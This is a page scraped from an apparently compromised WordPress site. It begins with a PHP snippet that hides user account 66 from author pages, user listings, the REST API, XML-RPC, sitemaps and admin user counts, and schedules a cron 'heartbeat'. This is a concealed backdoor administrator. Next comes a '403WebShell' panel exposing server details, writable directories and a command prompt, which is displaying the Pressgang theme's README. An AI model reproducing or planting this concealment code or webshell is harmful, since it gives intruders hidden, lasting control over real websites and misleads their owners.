add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/biotraubensaft/wp-content/themes/pressgang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/biotraubensaft/wp-content/themes/pressgang/README.MD
# Pressgang a Wordpress Parent Theme Library
## Overview
_Pressgang_ is a Wordpress parent theme library that is built for rapidly bootstrapping Wordpress themes. It attempts to modernize many of the aspects of Wordpress theme design by using [.twig](http://twig.sensiolabs.org/) templating (thanks to the excellent [Timber plugin](http://upstatement.com/timber/) and incorporating Twitter's [Bootstrap framework](http://getbootstrap.com/) using [LESS](http://lesscss.org/) for rapid prototyping on the front-end. Pressgang also abstracts away many of the commonly repeated tasks used in building Wordpress themes using DRY (Don't Repeat Yourself) and Convention Over Configuration principles to finally declutter your functions.php!

To really hit the ground running you should be familiar with the following tools:
* http://upstatement.com/timber/
* https://github.com/timber/timber
* http://twig.sensiolabs.org/documentation
* http://getbootstrap.com/
* http://lesscss.org/
* http://gruntjs.com/
* https://getcomposer.org/

## Getting started
Pressgang is designed as a Wordpress _parent theme_ that acts as a library for your _child theme_. You will need to create a child theme to get started (for information on Wordpress Child Themes see the codex - https://codex.wordpress.org/Child_Themes)

The best way to get up and running quickly is using the [pressgang-child](https://github.com/benedict-w/pressgang-child) repository which has a [grunt-init template](http://gruntjs.com/project-scaffolding) for creating a Pressgang ready child theme.

Otherwise clone this repo `git clone https://github.com/benedict-w/pressgang.git` and create your own child theme, or use the composer package: https://packagist.org/packages/benedict-w/pressgang

## Documentation
### Settings
The `core/settings.php` file is the core component of your _child theme_. Pressgang uses the associative array in this file to configure the Pressgang components used in your Wordpress theme: Here's where Pressgang's Convetion Over Configuration comes into play.

#### `inc`
This part of the settings.php file is used to load any Pressgang includes or 'add-ons' from the `pressgang/inc` directory. These are reusable features that are commonly part of Wordpress sites. 

#### `addthis`
This include is for adding http://www.addthis.com/ sharing buttons to the Wordpress site. It adds an AddThis section to the Wordpress Customizer (see codex - https://codex.wordpress.org/Theme_Customization_API) for entering the addthis ID for the site, and includes an `[addthis]` shortcode.  
See [inc/addthis.php](https://github.com/benedict-w/pressgang/blob/master/inc/addthis.php)

#### `admin-logo`
Replaces the Wordpress logo on the admin screen with the theme logo.  
See [inc/admin-logo.php](https://github.com/benedict-w/pressgang/blob/master/inc/admin-logo.php)

#### `breadcrumb`
Builds a Wordpress breadcrumb, whcih can be rendered in the twig templates using `{{ breadcrumb() }}`  
See [inc/breadcrumb.php](https://github.com/benedict-w/pressgang/blob/master/inc/breadcrumb.php)

#### `customizer`
See [inc/customizer.php](https://github.com/benedict-w/pressgang/blob/master/inc/customizer.php)
 
 #### `emojicons`
 Get rid of the emojicon bumpf added in Wordpress 4.2 https://codex.wordpress.org/Emoji.  
See [inc/emojicons.php](https://github.com/benedict-w/pressgang/blob/master/inc/emojicons.php)
 
 #### `google-analytics`
 Include google analtyics tracking on the site, when the user has added their GoogleAnalyticsID in the Wordpress Customizer.  
 See
 [inc/google-analytics.php](https://github.com/benedict-w/pressgang/blob/master/inc/google-analytics.php)
 
#### `opengraph`
Add [OpenGraph](http://ogp.me/) meta-tags to the site <head>.  
See
[inc/opengraph.php](https://github.com/benedict-w/pressgang/blob/master/inc/opengraph.php)

 #### `permalinks`
Similify the theme's asset permalink structure with the following rewrites:
```php
style.css => wp-content/themes/{$theme_name}/style.css
css/(.*) => wp-content/themes/{$theme_name}/css/$1
js/(.*) => wp-content/themes/{$theme_name}/js/$1
img/(.*) => wp-content/themes/{$theme_name}/img/$1
fonts/(.*) => wp-content/themes/{$theme_name}/fonts/$1
plugins/(.*) => wp-content/plugins/$1
```

See [inc/permalinks.php](https://github.com/benedict-w/pressgang/blob/master/inc/permalinks.php)

#### `sitemap`
Add a sitemap.xml file to the site.  
See [inc/sitemap.php](https://github.com/benedict-w/pressgang/blob/master/inc/sitemap.php)

#### `title`
Builds more intelligent titles for Wordpress pages.  
See
[inc/title.php](https://github.com/benedict-w/pressgang/blob/master/inc/title.php)







Youez - 2016 - github.com/yon3zu
LinuXploit